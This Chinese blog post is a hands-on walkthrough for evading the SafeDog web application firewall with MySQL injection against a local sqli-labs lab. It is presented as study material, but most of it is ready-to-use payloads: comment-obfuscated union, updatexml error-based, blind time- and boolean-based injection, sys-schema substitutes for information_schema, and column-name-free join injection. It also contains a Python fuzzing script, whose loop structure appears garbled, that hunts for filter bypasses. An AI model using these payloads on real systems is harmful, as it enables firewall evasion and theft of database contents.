MYSQL Bypass SafeDog
环境详情
采用本地搭建的最新版安全狗,仅用于学习交流,请勿用于实际环境
本地安装参考:解决本地安装安全狗
phpstudy: 2021版
网站安全狗: Apache V4.0.30255
靶场: sqli-labs-less1 (字符型注入)
打开安全狗,防护措施拉满,防御sql注入的也拉满
接下来开始我们的绕过
通用
and和or被拦截
--+ 不拦截
and 不拦截
and1 不拦截
and 1 拦截
and/*aaaa*/1拦截
and/*//*/1 不拦截
安全狗检测and和or是不会被拦截的,但是and空格,or空格会被拦截
?id=2 and1
?id=2 and 1
绕过方法是使用/*//*/
代替空格
联合查询
order by
order 不拦截
by 不拦截
orderby 不拦截
order /*!10440by*/ 拦截
order%0a%0aby拦截
/*!10000order*/%0a%0a/*!100440by*/拦截
orde/*//*/by 不拦截
安全狗过滤order by
也是order空格by
严格匹配,同样把空格换成/*//*/
就能绕过
union select
union 不拦截
select 不拦截
unionselect 拦截
+union --+1%0aselect 拦截
+union %23%0a+all+select+ 拦截
/*&id=-1'+union+select+1,2,3--+*/ 不拦截
+"/*" union select 1,2,3 "*/"--+ 不拦截
+'/*' union select 1,2,3 %23*/--+ 不拦截
union/*//*/select 拦截
/*!10440union*//*//*/select 拦截
union/*//*//*!10440select*/ 不拦截
/*!10440union*//*!10440select*/ 拦截
/*!10440union*//*//*//*!10440select*/ 不拦截
/*!10450union*//*//*//*!10440select*/ 不拦截
/*!10440union*//*aaaaaaaaa*/%0a/*!10440select*/拦截
获取数据库名
database()拦截
hex(database%0a())不拦截
hex(database/**/())不拦截
user()拦截
hex(user%0a()) 不拦截
hex(user/**/()) 不拦截
使用hacker的16进制解码就获取数据名和用户名了
获取表名
没有拦截?难道狗子觉得获取这个不重要
?id=-1'+'/*' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 %23*/--+
获取字段名
依旧没有拦截
?id=-1'+'/*' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),3 %23*/--+
获取数据
还是没有拦截, 那就别怪我偷家了👀
?id=-1'+'/*' union select 1,(select username from users limit 1,1),3 %23*/--+
报错注入
报错注入常用的一些函数
1. floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2. extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3. updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml
and updatexml(1,1,1) 拦截
and /*!updatexml/*(1,1,1) 拦截
and/*!10440updatexml*/(1,1,1)拦截
and/*//*//*!10440updatexml*/(1,1,1)未拦截
/*!and*//*!10440updatexml*/(1,1,1)拦截
/*!%26%26*//*!10440updatexml*/(1,1,1)拦截
/*!%26%26*//*//*//*!10440updatexml*/(1,1,1)未拦截
/*!||*//*!10440updatexml*/(1,1,1)拦截
/*!xor*//*!10440updatexml*/(1,1,1)拦截
user() 拦截
user/**/()拦截
user/**/(/**/)拦截
/*!user()*/ 拦截
/*!10440user()*/ 未拦截
database() 拦截
database/**/() 拦截
/*!database()*/ 拦截
/*!10040database()*/未拦截
/*!10440database()*/ 未拦截
因此查询语句为
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(/*!10440database()*/),0x7e),1)--+
接下来的查询访问information_schema数据库被拦截了
information 拦截
information_schema 拦截
bypass information_schema
经查阅,接下来的方法mysql>=5.7才能使用,除了information_schema表以外,存在其他表来进行绕过
MySQL5.7的新特性
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys 数据库,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
sys.schema_auto_increment_columns
当你利用Mysql设计数据库时,是否会给每个表加一个自增的id(或其他名字)字段呢?如果是,那么我们发现了一个注入中在mysql默认情况下就可以替代information_schema库的方法。
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
我创建了一个名为1ink
数据库
data表没有自增id
id_increament表没有自增id
security数据库
emails, users, refers, uagents均有自增id
challenges数据库
表没有自增id
可以看到,有自增id的表出现在了schema_auto_increment_columns
表中
那没有自增id的表在哪里找呢?
schema_table_statistics_with_buffer: 有自建数据库的表名
x$schema_table_statistics_with_buffer: 自建数据库的表名
其他可用表
schema_table_statistics有自建数据库的表名
x$schema_table_statistics: 有自建数据库的表名
schema_index_statistics:如果自建数据库有索引,这里会有记录
x$schema_index_statistics: 如果自建数据库有索引,这里会有记录
x$schema_flattened_keys:
绕过:
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440*/from sys.x$schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+
and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440%0a*/from sys.schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select table_name /*!10440/**/*/from sys.x$schema_table_statistics where table_schema='security' limit 2,1),0x7e),1)--+
发现在from前面加东西就能绕过,用脚本跑一下能出来好多
import requests
url = "http://192.168.106.155/sql/Less-1/?id=1'and/*//*/"
Fuzz_a = ['/*!10440*/','/*!55555*/','/*!13141/','/*!12345*/','/*!abcd*/','/*!hhhhh*/']
Fuzz_b = ['/*!','*/','/**/','/','~','!',',','.','%','`','*','+','=','?','`','@','//','/*//*/']
Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%20','%A0']
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
FUZZ = Fuzz_a + Fuzz_b+ Fuzz_c
for a in FUZZ:
pass
for b in FUZZ:
pass
for c in FUZZ:
pass
for d in FUZZ:
pass
for e in FUZZ:
pass
# payload= "/*!updatexml" + a + b + c + d + e+"select*/1,2,3"
payload="/*!10440updatexml*/(1,concat(0x7e,(select table_name"+ b+c+d+e+"from sys.x$schema_table_statistics where table_schema='security' limit 0,1),0x7e),1)--+"
urlp = url+payload
res = requests.get(urlp, headers=header)
if 'uagents' in res.text:
print("[*]URL:" + urlp +'过狗!')
with open('dog.txt','a') as f:
f.write(urlp)
f.write('\n')
join无字段名报错注入
我们获取了表名,但是我们没有字段名,怎么办,不能到这里就前功尽弃了
利用join进行无列名报错注入
无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
主要使用join......using()
select * 未拦截
select * from 未拦截
select * from 1 拦截
select * from/*//*/1 未拦截
select * from/*//*/1 as 拦截
select * from/*//*/1/*!10440as*/未拦截
因此可以构造payload
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b)c),0x7e),1)--+
继续:
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b using(id))c),0x7e),1)--+
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select * from/*//*/(select * from/*//*/users/*!10440as*/a join users b using(id,username))c),0x7e),1)--+
字段名也爆出来了,接下来就是获取数据
?id=1'and/*//*//*!10440updatexml*/(1,concat(0x7e,(select username from/*//*/users limit 0,1),0x7e),1)--+
盲注
延时盲注
and if 未拦截
and if() 拦截
and/*//*/if() 未拦截
and/*//*/if(1)未拦截
and/*//*/if(1,2)未拦截
and/*//*/if(1,2,3)未拦截
/*!and*/if(1,2,3) 拦截
/*!10440and*/if(1,2,3) 未拦截
/*!&&*/if(1,2,3) 拦截
/*!10440&&*/if(1,2,3) 拦截
substr() 未拦截
substr(1,1,1) 未拦截
user() 拦截
user(/**/) 拦截
user/*//*/() 拦截
/*!user/() 拦截
/*!10440user*/() 未拦截
sleep() 拦截
/*!sleep*/() 未拦截
/*!sleep/(1) 拦截
/*!sleep/(/*!1*/)未拦截
因此构造payload:
?id=1' and/*//*/ if (substr(hex(/*!10440user*/()),1,1)>1,sleep/*//*/(/*!5*/),1)--+
?id=1' and/*//*/ if(substr(hex(/*!10440database*/()),1,1)>1,sleep/*//*/(/*!5*/),1)--+
布尔注入
布尔注入少用个if判断和sleep()
?id=1' and/*//*/substr(/*!10440database*/(),1,1)='s'--+
总结
安全狗绕过主要就是内联注释/**/
,/*!*/
,加上一些奇怪的字符或者版本号,
参考
information被ban的情况下进行SQL注入 - Cl4y's SecretCl4y's Secret
Bypass information_schema 与无列名注入_m0_52587327的博客-CSDN博客
Sql注入Bypass进阶 - 简书 (jianshu.com)
聊一聊bypass information_schema - 安全客,安全资讯平台 (anquanke.com)
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】博客园携手 AI 驱动开发工具商 Chat2DB 推出联合终身会员
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步